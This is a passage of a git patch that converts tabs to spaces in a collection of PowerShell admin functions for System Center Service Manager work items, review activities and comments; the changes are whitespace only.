AccountDomainSid {get;} - BinaryLength Property int BinaryLength {get;} - Value Property string Value {get;} - #> + Equals Method bool Equals(System.Object o), bool Equals(System.Security.Principal.SecurityIdentifier sid) + GetBinaryForm Method void GetBinaryForm(byte[] binaryForm, int offset) + GetHashCode Method int GetHashCode() + GetType Method type GetType() + IsAccountSid Method bool IsAccountSid() + IsEqualDomainSid Method bool IsEqualDomainSid(System.Security.Principal.SecurityIdentifier sid) + IsValidTargetType Method bool IsValidTargetType(type targetType) + IsWellKnown Method bool IsWellKnown(System.Security.Principal.WellKnownSidType type) + ToString Method string ToString() + Translate Method System.Security.Principal.IdentityReference Translate(type targetType) + AccountDomainSid Property System.Security.Principal.SecurityIdentifier AccountDomainSid {get;} + BinaryLength Property int BinaryLength {get;} + Value Property string Value {get;} + #> # Prepare Output $Properties = @{ SamAccountName = $Account.properties.samaccountname -as [string] @@ -43,5 +43,5 @@ $Search.FindAll() | ForEach-Object -Process { } # Output Information New-Object -TypeName PSObject -Property $Properties - } + } } \ No newline at end of file From 73e99f81b7879c2ab49ab2e88a5318ebb0365bea Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:51:24 -0700 Subject: [PATCH 148/561] Replace tabs per spaces --- .../Add-SCSMReviewActivityReviewer.ps1 | 100 +- .../Get-SCSMIncidentRequestComment.ps1 | 16 +- .../Get-SCSMWorkItemAffectedUser.ps1 | 120 +- .../Get-SCSMWorkItemCreatedByUser.ps1 | 118 +- .../Get-SCSMWorkItemParent.ps1 | 184 +- .../Get-SCSMIRComment.ps1 | 98 +- .../Add-SCSMSRComment.ps1 | 222 +- .../ConvertFrom-Base64.ps1 | 62 +- .../ConvertTo-StringList.ps1 | 144 +- .../Enable-RemoteDesktop.ps1 | 326 +-- TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 | 158 +- TOOL-Get-ComputerOS/Get-ComputerOS.ps1 | 198 +- .../Get-LocalAdministrator.ps1 | 80 +- TOOL-Get-LocalGroup/Get-LocalGroup.ps1 | 94 +- TOOL-Get-NetFramework/Get-NetFramework.ps1 | 112 +- .../Get-NetFrameworkTypeAccelerator.ps1 | 26 +- TOOL-Get-NetStat/Get-NetStat.ps1 | 64 +- TOOL-Get-Uptime/Get-Uptime.ps1 | 330 +-- TOOL-Invoke-Ping/Invoke-Ping.ps1 | 1778 ++++++++--------- .../New-CimSmartSession.ps1 | 180 +- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 92 +- .../New-RandomPassword.ps1 | 38 +- .../Remove-PSObjectEmptyOrNullProperty.ps1 | 44 +- .../Remove-StringSpecialCharacter.ps1 | 106 +- TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 | 54 +- .../Set-NetworkLevelAuthentication.ps1 | 244 +-- .../Set-PowerShellWindowTitle.ps1 | 28 +- .../Test-RemoteDesktopIsEnabled.ps1 | 8 +- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 322 +-- _Test/AD-TokenGroups_Test.ps1 | 28 +- _Test/Add-LocalGroupMember.ps1 | 88 +- 31 files changed, 2731 insertions(+), 2731 deletions(-) diff --git a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 index e008a953..24420ec4 100644 --- a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -1,73 +1,73 @@ function Add-SCSMReviewActivityReviewer { <# - .SYNOPSIS - Function to add a reviewer to a Review Activity item + .SYNOPSIS + Function to add a reviewer to a Review Activity item - .DESCRIPTION - Function to add a reviewer to a Review Activity item + .DESCRIPTION + Function to add a reviewer to a Review Activity item - .PARAMETER UserName - Specifies the UserName to add + .PARAMETER UserName + Specifies the UserName to add - .PARAMETER Veto - Specifies the Veto. Default is False. + .PARAMETER Veto + Specifies the Veto. Default is False. - .PARAMETER MustVote - Specifies if the Vote is required. Default is False. + .PARAMETER MustVote + Specifies if the Vote is required. Default is False. - .PARAMETER WorkItemID - Specifies the WorkItem ID of the Review Activity + .PARAMETER WorkItemID + Specifies the WorkItem ID of the Review Activity - .EXAMPLE - PS C:\> Add-SCSMReviewActivityReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' + .EXAMPLE + PS C:\> Add-SCSMReviewActivityReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com - 1.0 Based on Cireson's consultant function + 1.0 Based on Cireson's consultant function #> - [CmdletBinding()] - PARAM - ( - [System.String]$UserName, + [CmdletBinding()] + PARAM + ( + [System.String]$UserName, - [Boolean]$veto = $false, + [Boolean]$veto = $false, - [Boolean]$mustvote = $false, + [Boolean]$mustvote = $false, - $WorkItemID - ) + $WorkItemID + ) - BEGIN { Import-Module -Name SMLets -ErrorAction Stop } - PROCESS - { - # Retrieve the Active Directory User Class - $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' - $ADUserClassObject = Get-ScsmClass -Id $ADUserClassID + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS + { + # Retrieve the Active Directory User Class + $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' + $ADUserClassObject = Get-ScsmClass -Id $ADUserClassID - $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" + $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" - if ($ScsmUser) - { - # Direct Reviewer add SCSM user by guid - $RelationShipClass_HasReviewer = Get-SCSMRelationshipClass -name "System.ReviewActivityHasReviewer" - $RelationShipClass_ReviewerIsUser = Get-SCSMRelationshipClass -name "System.ReviewerIsUser" - $Class_ReviewerClass = Get-SCSMClass -name "System.Reviewer$" + if ($ScsmUser) + { + # Direct Reviewer add SCSM user by guid + $RelationShipClass_HasReviewer = Get-SCSMRelationshipClass -name "System.ReviewActivityHasReviewer" + $RelationShipClass_ReviewerIsUser = Get-SCSMRelationshipClass -name "System.ReviewerIsUser" + $Class_ReviewerClass = Get-SCSMClass -name "System.Reviewer$" - # Hashtable for reviewer arguments - $ReviewerArgs = @{ ReviewerID = "{0}"; Mustvote = $mustvote; Veto = $veto } + # Hashtable for reviewer arguments + $ReviewerArgs = @{ ReviewerID = "{0}"; Mustvote = $mustvote; Veto = $veto } - $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit + $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit - $WorkItem = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ReviewActivity$) -filter "ID -eq '$WorkItemID'" + $WorkItem = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ReviewActivity$) -filter "ID -eq '$WorkItemID'" - $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source $WorkItem -Target $Reviewer - $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser - $reviewerStep1.Commit() - $reviewerStep2.Commit() - } - } + $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source $WorkItem -Target $Reviewer + $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser + $reviewerStep1.Commit() + $reviewerStep2.Commit() + } + } } diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 index 290a4d4f..48ff77fe 100644 --- a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -72,13 +72,13 @@ TicketTierQueue = $CurrentTicket.TierQueue.displayname TicketAssignedTo = $AssignedTo.DisplayName TicketCreatedDate = $CurrentTicket.CreatedDate - Comment = $Comment.Comment - CommentEnteredBy = $Comment.EnteredBy - CommentEnteredDate = $Comment.EnteredDate - CommentClassName = $Comment.ClassName - } - } - } + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } + } + } - } + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index 658c586e..bc68af20 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -1,77 +1,77 @@ function Get-SCSMWorkItemAffectedUser { <# - .SYNOPSIS - Function to retrieve the Affected User of a Work Item + .SYNOPSIS + Function to retrieve the Affected User of a Work Item - .DESCRIPTION - Function to retrieve the Affected User of a Work Item + .DESCRIPTION + Function to retrieve the Affected User of a Work Item - .PARAMETER SMObject - Specifies the SMObject(s) on which the affected need to be retrieve. + .PARAMETER SMObject + Specifies the SMObject(s) on which the affected need to be retrieve. - .PARAMETER Guid - Specifies the GUID of the SMObject on which the affected need to be retrieve. + .PARAMETER Guid + Specifies the GUID of the SMObject on which the affected need to be retrieve. - .EXAMPLE - Get-SCSMWorkItemAffectedUser -SMObject $SR,$IR + .EXAMPLE + Get-SCSMWorkItemAffectedUser -SMObject $SR,$IR - .EXAMPLE - $SR,$IR | Get-SCSMWorkItemAffectedUser + .EXAMPLE + $SR,$IR | Get-SCSMWorkItemAffectedUser - .EXAMPLE - Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + .EXAMPLE + Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com #> - [CmdletBinding(DefaultParameterSetName = 'GUID')] - param - ( - [Parameter(ParameterSetName = 'SMObject', - Mandatory = $true, - ValueFromPipeline = $true)] - $SMObject, + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, - [Parameter(ParameterSetName = 'GUID', - Mandatory = $true)] - $Guid - ) + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) - BEGIN - { - Import-Module -Name SMLets -ErrorAction Stop + BEGIN + { + Import-Module -Name SMLets -ErrorAction Stop - # AffectedUser RelationshipClass - $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' - $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser - } - PROCESS - { - IF ($PSBoundParameters['GUID']) - { - foreach ($Item in $GUID) - { - $SMObject = Get-SCSMObject -id $item - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AffectedUser_Object | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, - @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * - } - } + # AffectedUser RelationshipClass + $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' + $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser + } + PROCESS + { + IF ($PSBoundParameters['GUID']) + { + foreach ($Item in $GUID) + { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } - IF ($PSBoundParameters['SMobject']) - { - foreach ($Item in $SMObject) - { - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AffectedUser_Object | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, - @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * - } - } - } + IF ($PSBoundParameters['SMobject']) + { + foreach ($Item in $SMObject) + { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } } diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 index b1b40a4d..49e73602 100644 --- a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -1,78 +1,78 @@ function Get-SCSMWorkItemCreatedByUser { <# - .SYNOPSIS - Function to retrieve the Created By User of a Work Item + .SYNOPSIS + Function to retrieve the Created By User of a Work Item - .DESCRIPTION - Function to retrieve the Created By User of a Work Item + .DESCRIPTION + Function to retrieve the Created By User of a Work Item - .PARAMETER SMObject - Specifies the SMObject(s) on which the Created By need to be retrieve. + .PARAMETER SMObject + Specifies the SMObject(s) on which the Created By need to be retrieve. - .PARAMETER Guid - Specifies the GUID of the SMObject on which the Created By need to be retrieve. + .PARAMETER Guid + Specifies the GUID of the SMObject on which the Created By need to be retrieve. - .EXAMPLE - Get-SCSMWorkItemCreatedByUser -SMObject $SR,IR + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -SMObject $SR,IR - .EXAMPLE - $SR,IR | Get-SCSMWorkItemCreatedByUser + .EXAMPLE + $SR,IR | Get-SCSMWorkItemCreatedByUser - .EXAMPLE - Get-SCSMWorkItemCreatedByUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com #> - [CmdletBinding(DefaultParameterSetName = 'GUID')] - param - ( - [Parameter(ParameterSetName = 'SMObject', - Mandatory = $true, - ValueFromPipeline = $true)] - $SMObject, + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, - [Parameter(ParameterSetName = 'GUID', - Mandatory = $true)] - $Guid - ) + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) - BEGIN - { - Import-Module -Name SMLets -ErrorAction Stop + BEGIN + { + Import-Module -Name SMLets -ErrorAction Stop - # CreatedByUser RelationshipClass - $RelationshipClass_CreatedByUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemCreatedByUser + # CreatedByUser RelationshipClass + $RelationshipClass_CreatedByUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemCreatedByUser - } - PROCESS - { - IF ($PSBoundParameters['GUID']) - { - foreach ($Item in $GUID) - { - $SMObject = Get-SCSMObject -id $item - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_CreatedByUser_Object | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, - @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * - } - } + } + PROCESS + { + IF ($PSBoundParameters['GUID']) + { + foreach ($Item in $GUID) + { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } - IF ($PSBoundParameters['SMobject']) - { - foreach ($Item in $SMObject) - { - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_CreatedByUser_Object | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, - @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * - } - } - } + IF ($PSBoundParameters['SMobject']) + { + foreach ($Item in $SMObject) + { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index 03e0f818..3abb7fca 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -1,109 +1,109 @@ function Get-SCSMWorkItemParent { - <# - .DESCRIPTION - Function to retrieve the parent of a System Center Service Manager Work Item + <# + .DESCRIPTION + Function to retrieve the parent of a System Center Service Manager Work Item - .SYNOPSIS - Function to retrieve the parent of a System Center Service Manager Work Item + .SYNOPSIS + Function to retrieve the parent of a System Center Service Manager Work Item - .PARAMETER WorkItemGUI - Specified the GUID of the Work Item + .PARAMETER WorkItemGUI + Specified the GUID of the Work Item - .PARAMETER WorkItemObject - Specified the Work Item Object + .PARAMETER WorkItemObject + Specified the Work Item Object - .EXAMPLE - $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' - $WorkItemGUID = $RunbookActivity.get_id() + .EXAMPLE + $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' + $WorkItemGUID = $RunbookActivity.get_id() - Get-SCSMWorkItemParent -WorkItemGUID $WorkItemGUID + Get-SCSMWorkItemParent -WorkItemGUID $WorkItemGUID - .EXAMPLE - $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' - Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity + .EXAMPLE + $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' + Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity - .NOTES - Francois-Xavier.Cat - @lazywinadmin - www.lazywinadmin.com + .NOTES + Francois-Xavier.Cat + @lazywinadmin + www.lazywinadmin.com - 1.0 Function based on the work from Prosum and Cireson consultants - #> - [CmdletBinding()] - PARAM ( - [Parameter(ParameterSetName = 'GUID', Mandatory)] - [Alias('ID')] - $WorkItemGUID, + 1.0 Function based on the work from Prosum and Cireson consultants + #> + [CmdletBinding()] + PARAM ( + [Parameter(ParameterSetName = 'GUID', Mandatory)] + [Alias('ID')] + $WorkItemGUID, - [Parameter(ParameterSetName = 'Object', Mandatory)] - $WorkItemObject - ) - BEGIN - { - IF (-not (Get-Module -Name Smlets)) - { - TRY - { - Import-Module -Name smlets -ErrorAction Stop - } - CATCH - { - Write-Error -Message "[BEGIN] Error importing smlets" - $Error[0].Exception.Message - } - } - ELSE {Write-Verbose -Message "[BEGIN] Smlets module already loaded"} - } - PROCESS - { - TRY - { - IF ($PSBoundParameters['WorkItemGUID']) - { - # Retrieve the Activity Object in SCSM - Write-Verbose -Message "[PROCESS] Retrieving WorkItem with GUID" - $ActivityObject = Get-SCSMObject -id $WorkItemGUID - } - IF ($PSBoundParameters['WorkItemObject']) - { - # Retrieve the Activity Object in SCSM - Write-Verbose -Message "[PROCESS] Retrieving WorkItem with SM Object" - $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() - } + [Parameter(ParameterSetName = 'Object', Mandatory)] + $WorkItemObject + ) + BEGIN + { + IF (-not (Get-Module -Name Smlets)) + { + TRY + { + Import-Module -Name smlets -ErrorAction Stop + } + CATCH + { + Write-Error -Message "[BEGIN] Error importing smlets" + $Error[0].Exception.Message + } + } + ELSE {Write-Verbose -Message "[BEGIN] Smlets module already loaded"} + } + PROCESS + { + TRY + { + IF ($PSBoundParameters['WorkItemGUID']) + { + # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with GUID" + $ActivityObject = Get-SCSMObject -id $WorkItemGUID + } + IF ($PSBoundParameters['WorkItemObject']) + { + # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with SM Object" + $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() + } - # Retrieve Parent - Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name)" - Write-Verbose -Message "[PROCESS] Retrieving WorkItem Parent" - $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' - $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } - $ParentObject = $ParentRelatedObject.SourceObject + # Retrieve Parent + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name)" + Write-Verbose -Message "[PROCESS] Retrieving WorkItem Parent" + $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' + $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } + $ParentObject = $ParentRelatedObject.SourceObject - Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name) - Parent: $($ParentObject.name)" + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name) - Parent: $($ParentObject.name)" - If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') - { - Write-Verbose -Message "[PROCESS] This is the top level parent" - Write-Output $ParentObject + If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') + { + Write-Verbose -Message "[PROCESS] This is the top level parent" + Write-Output $ParentObject - # Could do the following to retrieve all the properties - # Get-SCSMObject $ParentRelatedObject.SourceObject.id.Guid - } - Else - { - Write-Verbose -Message "[PROCESS] Not the top level parent. Running Get-SCSMWorkItemParent against this object" - # Loop to find the highest parent - Get-SCSMWorkItemParent -WorkItemGUID $ParentObject.id.guid - } - } - CATCH - { - Write-Error -Message $Error[0].Exception.Message - } - } #PROCESS - END - { - remove-module -Name smlets -ErrorAction SilentlyContinue - }#End + # Could do the following to retrieve all the properties + # Get-SCSMObject $ParentRelatedObject.SourceObject.id.Guid + } + Else + { + Write-Verbose -Message "[PROCESS] Not the top level parent. Running Get-SCSMWorkItemParent against this object" + # Loop to find the highest parent + Get-SCSMWorkItemParent -WorkItemGUID $ParentObject.id.guid + } + } + CATCH + { + Write-Error -Message $Error[0].Exception.Message + } + } #PROCESS + END + { + remove-module -Name smlets -ErrorAction SilentlyContinue + }#End } #Function \ No newline at end of file diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 4c553dd2..0fb95191 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -1,61 +1,61 @@ function Get-SCSMIRComment { <# - .SYNOPSIS - Function to retrieve all the comment of a Incident Request + .SYNOPSIS + Function to retrieve all the comment of a Incident Request - .DESCRIPTION - Function to retrieve all the comment of a Incident Request + .DESCRIPTION + Function to retrieve all the comment of a Incident Request - .PARAMETER Incident - Specifies the Incident Request Object. + .PARAMETER Incident + Specifies the Incident Request Object. - .EXAMPLE - PS C:\> Get-SCSMIRComment -Incident (get-scsmincident -ID 'IR55444') + .EXAMPLE + PS C:\> Get-SCSMIRComment -Incident (get-scsmincident -ID 'IR55444') - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - [CmdletBinding()] - PARAM - ( - [System.WorkItem.Incident[]]$Incident - ) - PROCESS - { - FOREACH ($IR in $Incident) - { - TRY - { - # Retrieve Comments - $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object { - $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" - } + [CmdletBinding()] + PARAM + ( + [System.WorkItem.Incident[]]$Incident + ) + PROCESS + { + FOREACH ($IR in $Incident) + { + TRY + { + # Retrieve Comments + $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object { + $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" + } - IF ($FilteredIncidents.count -gt 0) - { - FOREACH ($Comment in $FilteredIncidents) - { - $Properties = @{ - IncidentID = $IR.ID - EnteredDate = $Comment.EnteredDate - EnteredBy = $Comment.EnteredBy - Comment = $Comment.Comment - ClassName = $Comment.ClassName - IsPrivate = $Comment.IsPrivate - } + IF ($FilteredIncidents.count -gt 0) + { + FOREACH ($Comment in $FilteredIncidents) + { + $Properties = @{ + IncidentID = $IR.ID + EnteredDate = $Comment.EnteredDate + EnteredBy = $Comment.EnteredBy + Comment = $Comment.Comment + ClassName = $Comment.ClassName + IsPrivate = $Comment.IsPrivate + } - New-Object -TypeName PSObject -Property $Properties - } # FOREACH - } #IF Incident found - } - CATCH - { - $Error[0] - } - } #FOREACH ($IR in $Incident) + New-Object -TypeName PSObject -Property $Properties + } # FOREACH + } #IF Incident found + } + CATCH + { + $Error[0] + } + } #FOREACH ($IR in $Incident) - } #Process + } #Process } #Function \ No newline at end of file diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index 85935adf..0c123ccc 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -1,126 +1,126 @@ Function Add-SRComment { <# - .SYNOPSIS - Function to add a comment inside a Service Request + .SYNOPSIS + Function to add a comment inside a Service Request - .DESCRIPTION - Function to add a comment inside a Service Request - You need to have SMlets installed and permission to write inside - the service request. + .DESCRIPTION + Function to add a comment inside a Service Request + You need to have SMlets installed and permission to write inside + the service request. - .PARAMETER ServiceRequestObject - Specifies the ServiceRequest where the comment will be added + .PARAMETER ServiceRequestObject + Specifies the ServiceRequest where the comment will be added - .PARAMETER Comment - Specifies the comment to add. + .PARAMETER Comment + Specifies the comment to add. - .PARAMETER CommentType - Specifies the comment type. - You need to specify 'User' or 'Analyst'. + .PARAMETER CommentType + Specifies the comment type. + You need to specify 'User' or 'Analyst'. - .PARAMETER EnteredBy - Specifies your name. + .PARAMETER EnteredBy + Specifies your name. - .PARAMETER IsPrivate - Specifies if the switch is private + .PARAMETER IsPrivate + Specifies if the switch is private - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' + .EXAMPLE + PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate + .EXAMPLE + PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin - Script inspired from http://www.scsm.se/?p=1423 by Anders Asp + Script inspired from http://www.scsm.se/?p=1423 by Anders Asp #> - [CmdletBinding()] - PARAM ( - - [Alias("SRObject")] - [parameter(Mandatory = $true)] - 